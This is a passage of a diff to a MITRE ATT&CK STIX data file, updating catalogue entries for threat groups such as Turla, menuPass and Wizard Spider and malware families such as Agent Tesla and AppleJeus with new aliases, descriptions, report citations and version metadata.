"(Citation: Kaspersky Turla)" }, + { + "source_name": "Group 88", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Belugasturgeon", + "description": "(Citation: Accenture HyperStack October 2020)" + }, { "source_name": "Waterbug", "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)" @@ -242249,6 +284819,16 @@ "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito Jan 2018" }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + }, + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." + }, { "source_name": "Symantec Waterbug", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", @@ -242265,21 +284845,112 @@ "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019." } ], - "aliases": [ - "Turla", - "Waterbug", - "WhiteBear", - "VENOMOUS BEAR", - "Snake", - "Krypton" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-10-22T20:25:26.398Z", - "created": "2017-05-31T21:31:49.816Z", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)", + "name": "Turla", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "type": "intrusion-set", + "x_mitre_version": "2.0", "x_mitre_contributors": [ "Matthieu Faou, ESET", "Edward Millington" + ] + }, + { + "external_references": [ + { + "external_id": "G0118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0118" + }, + { + "source_name": "UNC2452", + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)" + }, + { + "source_name": "NOBELIUM", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)" + }, + { + "source_name": "StellarParticle", + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)" + }, + { + "source_name": "Dark Halo", + "description": "(Citation: Volexity SolarWinds)" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } ], - "x_mitre_version": "1.4" + "name": "UNC2452", + "type": "intrusion-set", + "id": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "revoked": true, + "modified": "2021-04-19T14:20:45.917Z", + "created": "2021-01-05T15:34:11.066Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0123", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0123" + }, + { + "source_name": "Volatile Cedar", + "description": "(Citation: CheckPoint Volatile Cedar March 2015)" + }, + { + "source_name": "Lebanese Cedar", + "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)" + }, + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", + "name": "Volatile Cedar", + "type": "intrusion-set", + "id": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "aliases": [ + "Volatile Cedar", + "Lebanese Cedar" + ], + "modified": "2021-02-10T21:01:16.908Z", + "created": "2021-02-08T20:30:30.578Z", + "x_mitre_version": "1.0" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -242345,6 +285016,45 @@ "x_mitre_version": "1.0" }, { + "id": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "type": "intrusion-set", + "name": "Windigo", + "description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)", + "external_references": [ + { + "external_id": "G0124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0124" + }, + { + "source_name": "ESET Windigo Mar 2014", + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021." + }, + { + "source_name": "CERN Windigo June 2019", + "url": "https://security.web.cern.ch/advisories/windigo/windigo.shtml", + "description": "CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Windigo" + ], + "modified": "2021-04-26T22:32:57.046Z", + "created": "2021-02-10T19:57:38.042Z", + "x_mitre_version": "1.0" + }, + { + "created": "2020-06-25T17:16:39.168Z", + "modified": "2021-04-26T14:37:33.234Z", + "aliases": [ + "Windshift", + "Bahamut" + ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" @@ -242379,13 +285089,7 @@ "name": "Windshift", "type": "intrusion-set", "id": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", - "aliases": [ - "Windshift", - "Bahamut" - ], - "modified": "2020-06-26T13:46:14.122Z", - "created": "2020-06-25T17:16:39.168Z", - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "external_references": [ @@ -242448,6 +285152,10 @@ ] }, { + "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "type": "intrusion-set", + "name": "Wizard Spider", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", "external_references": [ { "external_id": "G0102", @@ -242468,50 +285176,84 @@ }, { "source_name": "CrowdStrike Ryuk January 2019", - "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020." }, { "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "FireEye Ryuk and Trickbot January 2019", - "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020." }, { "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." } ], - "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "x_mitre_version": "1.2", - "x_mitre_contributors": [ - "Oleksiy Gayda" - ], - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", - "name": "Wizard Spider", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "aliases": [ "Wizard Spider", "UNC1878", "TEMP.MixMaster", "Grim Spider" ], - "type": "intrusion-set", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2020-12-29T17:45:44.841Z", "created": "2020-05-12T18:15:29.396Z", - "modified": "2020-11-10T19:06:49.687Z" + "x_mitre_contributors": [ + "Oleksiy Gayda" + ], + "x_mitre_version": "1.3" + }, + { + "id": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "type": "intrusion-set", + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)", + "name": "ZIRCONIUM", + "external_references": [ + { + "external_id": "G0128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0128" + }, + { + "source_name": "APT31", + "description": "(Citation: Check Point APT31 February 2021)" + }, + { + "source_name": "Microsoft Targeting Elections September 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021." + }, + { + "source_name": "Check Point APT31 February 2021", + "url": "https://research.checkpoint.com/2021/the-story-of-jian/", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "ZIRCONIUM", + "APT31" + ], + "modified": "2021-04-20T21:00:44.930Z", + "created": "2021-03-24T15:48:17.731Z", + "x_mitre_version": "1.0" }, { "type": "intrusion-set", @@ -242549,14 +285291,6 @@ "x_mitre_version": "1.2" }, { - "type": "intrusion-set", - "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "menuPass", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -242565,28 +285299,46 @@ }, { "source_name": "menuPass", - "description": "(Citation: Palo Alto menuPass Feb 2017)" + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" + }, + { + "source_name": "Cicada", + "description": "(Citation: Symantec Cicada November 2020)" + }, + { + "source_name": "POTASSIUM", + "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "Stone Panda", - "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)" + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)" }, { "source_name": "APT10", - "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)" + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)" }, { "source_name": "Red Apollo", - "description": "(Citation: PWC Cloud Hopper April 2017)" + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "CVNX", - "description": "(Citation: PWC Cloud Hopper April 2017)" + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" }, { "source_name": "HOGFISH", "description": "(Citation: Accenture Hogfish April 2018)" }, + { + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." + }, { "source_name": "Palo Alto menuPass Feb 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", @@ -242613,9 +285365,9 @@ "source_name": "FireEye APT10 April 2017" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." }, { "source_name": "Accenture Hogfish April 2018", @@ -242628,21 +285380,31 @@ "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "name": "menuPass", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "type": "intrusion-set", "aliases": [ "menuPass", + "Cicada", + "POTASSIUM", "Stone Panda", "APT10", "Red Apollo", "CVNX", "HOGFISH" ], - "modified": "2020-08-13T17:15:14.339Z", + "modified": "2021-04-09T00:29:07.219Z", "created": "2017-05-31T21:32:09.054Z", + "x_mitre_version": "2.0", "x_mitre_contributors": [ "Edward Millington", "Michael Cox" - ], - "x_mitre_version": "1.5" + ] }, { "object_marking_refs": [ @@ -242825,13 +285587,6 @@ "x_mitre_version": "1.1" }, { - "id": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", - "name": "Agent Tesla", - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "external_id": "S0331", @@ -242868,19 +285623,26 @@ "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018." } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)", + "name": "Agent Tesla", + "id": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "type": "malware", "labels": [ "malware" ], - "modified": "2020-05-28T23:41:03.616Z", + "modified": "2021-04-21T02:04:30.060Z", "created": "2019-01-29T18:44:04.748Z", - "x_mitre_platforms": [ - "Windows" - ], + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Agent Tesla" ], - "x_mitre_version": "1.1" + "x_mitre_platforms": [ + "Windows" + ] }, { "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", @@ -242964,6 +285726,45 @@ "Cybereason Nocturnus, @nocturnus" ] }, + { + "created": "2021-03-01T20:17:11.064Z", + "modified": "2021-04-27T20:49:10.831Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "name": "AppleJeus", + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0584", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0584" + }, + { + "source_name": "AppleJeus", + "description": "(Citation: CISA AppleJeus Feb 2021)" + }, + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_aliases": [ + "AppleJeus" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -243001,7 +285802,7 @@ { "id": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "name": "Astaroth", - "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" @@ -243012,6 +285813,10 @@ "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0373" }, + { + "source_name": "Guildma", + "description": "(Citation: Securelist Brazilian Banking Malware July 2020)" + }, { "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", @@ -243021,13 +285826,18 @@ "source_name": "Cofense Astaroth Sept 2018", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019." + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." } ], "type": "malware", "labels": [ "malware" ], - "modified": "2020-06-23T19:38:54.935Z", + "modified": "2020-12-08T21:14:48.861Z", "created": "2019-04-17T13:46:38.565Z", "x_mitre_contributors": [ "Carlos Borges, @huntingneo, CIP" @@ -243036,9 +285846,10 @@ "Windows" ], "x_mitre_aliases": [ - "Astaroth" + "Astaroth", + "Guildma" ], - "x_mitre_version": "1.2" + "x_mitre_version": "2.0" }, { "external_references": [ @@ -243506,12 +286317,48 @@ "x_mitre_version": "1.1" }, { - "created": "2019-02-18T20:16:12.119Z", - "modified": "2020-03-30T15:22:05.356Z", + "id": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "name": "BLINDINGCAN", + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0520", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0520" + }, + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020." + }, + { + "source_name": "NHS UK BLINDINGCAN Aug 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603", + "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020." + } + ], + "type": "malware", "labels": [ "malware" ], - "type": "malware", + "modified": "2021-03-17T15:55:56.257Z", + "created": "2020-10-27T18:45:58.576Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "BLINDINGCAN" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ] + }, + { "id": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)", "name": "BONDUPDATER", @@ -243526,9 +286373,9 @@ "url": "https://attack.mitre.org/software/S0360" }, { - "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + "source_name": "FireEye APT34 Dec 2017" }, { "source_name": "Palo Alto OilRig Sep 2018", @@ -243536,6 +286383,12 @@ "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019." } ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-02-09T14:06:12.720Z", + "created": "2019-02-18T20:16:12.119Z", "x_mitre_platforms": [ "Windows" ], @@ -243604,7 +286457,7 @@ "description": "Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020." } ], - "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a 